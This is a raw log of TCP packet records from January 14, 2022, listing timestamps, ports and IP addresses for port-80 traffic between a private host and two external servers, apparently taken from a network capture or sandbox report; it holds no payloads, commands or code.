Jan 14, 2022 02:05:13.463273048 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.463311911 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.463330984 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.463347912 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.463365078 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.463387012 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.463424921 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.463464022 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.463473082 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.463505030 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.463510990 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.463541985 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.463581085 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.463618994 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.463632107 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.463655949 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.463668108 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.463695049 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.463732958 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.463772058 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.463790894 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.463814020 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.463821888 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.482968092 CET	80	49871	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:13.483062029 CET	49871	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:13.483542919 CET	49871	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:13.483557940 CET	49871	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:13.495505095 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.495589972 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.495661974 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.495675087 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.495740891 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.495819092 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.495877028 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.495948076 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.496005058 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.496045113 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.496141911 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.496237040 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.496298075 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.496370077 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.496439934 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.496536970 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.496642113 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.496751070 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.496813059 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.496903896 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.496995926 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.497055054 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.497095108 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.497134924 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.497154951 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.497222900 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.497278929 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.497344971 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.497409105 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.497473001 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.497612953 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.497843027 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.498106003 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.498183012 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.498418093 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.498692036 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.498931885 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.498996019 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.499224901 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.499310970 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.499488115 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.499737978 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.499830961 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.500082970 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.500317097 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.500499964 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.500581026 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.500725985 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.500762939 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.500781059 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.500821114 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.500859976 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.500895977 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.500921011 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.500953913 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.500992060 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.501008034 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.501046896 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.501085997 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.501104116 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.501142025 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.501158953 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.501199007 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.501240015 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.501279116 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.501295090 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.501324892 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.501352072 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.501389027 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.501426935 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.501465082 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.501482010 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.501512051 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.501538038 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.501578093 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.501616001 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.501653910 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.501671076 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.501703024 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.501727104 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.501765013 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.501804113 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.501842022 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.501878023 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.501895905 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.501938105 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.501977921 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.502017021 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.502054930 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.502070904 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.502099991 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.502125978 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.502163887 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.502202034 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.502239943 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.502257109 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.502295971 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.502314091 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.502353907 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.502394915 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.502412081 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.502453089 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.502491951 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.502507925 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.502547026 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.502584934 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.502624035 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.502640963 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.502686977 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.502696991 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.502737045 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.502774000 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.502815008 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.502831936 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.502862930 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.502888918 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.502928972 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.502969027 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.503005981 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.503020048 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.503060102 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.503077030 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.503115892 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.503155947 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.503195047 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.503213882 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.503257036 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.503268957 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.503307104 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.503345966 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.503386021 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.503403902 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.503437042 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.503458977 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.503499031 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.503549099 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.503590107 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.503609896 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.503653049 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.503664017 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.503704071 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.503741026 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.503782034 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.503799915 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.503834009 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.503856897 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.503896952 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.503936052 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.503973961 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.503989935 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.504026890 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.504045963 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.504085064 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.504125118 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.504163027 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.504178047 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.504210949 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.504237890 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.504276991 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.504811049 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.535367012 CET	80	49871	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:13.541899920 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.541954041 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.541996002 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.542030096 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.542038918 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.542072058 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.542078018 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.542119980 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.542159081 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.542161942 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.542196989 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.542215109 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.542236090 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.542273998 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.542313099 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.542329073 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.542352915 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.542372942 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.542390108 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.542428970 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.542468071 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.542498112 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.542505026 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.542540073 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.542545080 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.542584896 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.542613029 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.542624950 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.542665005 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.542679071 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.542701006 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.542740107 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.542778969 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.542793036 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.542817116 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.542823076 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.542855978 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.542896032 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.542936087 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.542962074 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.542975903 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.542990923 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.543013096 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.543051958 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.543065071 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.543090105 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.543131113 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.543148994 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.543169975 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.543209076 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.543247938 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.543287039 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.543277025 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.543314934 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.543323994 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.543364048 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.543402910 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.543420076 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.543441057 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.543462992 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.543481112 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.543519974 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.543557882 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.543570995 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.543600082 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.543606043 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.543637037 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.543677092 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.543724060 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.565754890 CET	80	49871	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:13.566663980 CET	49871	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:13.566998005 CET	49871	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:13.576354027 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.576585054 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.576673031 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.576777935 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.576890945 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.577049971 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.577127934 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.577197075 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.577265024 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.577296019 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.577379942 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.577419996 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.577455997 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.577476978 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.577518940 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.577574015 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.577613115 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.577667952 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.577744961 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.577811003 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.577891111 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.577992916 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.578072071 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.578221083 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.578259945 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.578286886 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.578325033 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.578336000 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.578375101 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.578414917 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.578452110 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.578468084 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.578501940 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.578524113 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.578564882 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.578603983 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.578641891 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.578658104 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.578689098 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.578713894 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.578752041 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.578788996 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.578828096 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.578845024 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.578883886 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.578900099 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.578938007 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.578974962 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.579014063 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.579030991 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.579063892 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.579087019 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.579125881 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.579161882 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.579200029 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.579216957 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.579250097 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.579272032 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.579310894 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.579349041 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.579385042 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.579401970 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.579433918 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.579458952 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.579497099 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.579535961 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.579572916 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.579600096 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.579631090 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.579647064 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.579685926 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.579722881 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.579761982 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.579780102 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.579816103 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.579833984 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.579873085 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.579911947 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.579950094 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.579966068 CET	49865	80	192.168.2.3	141.8.194.74
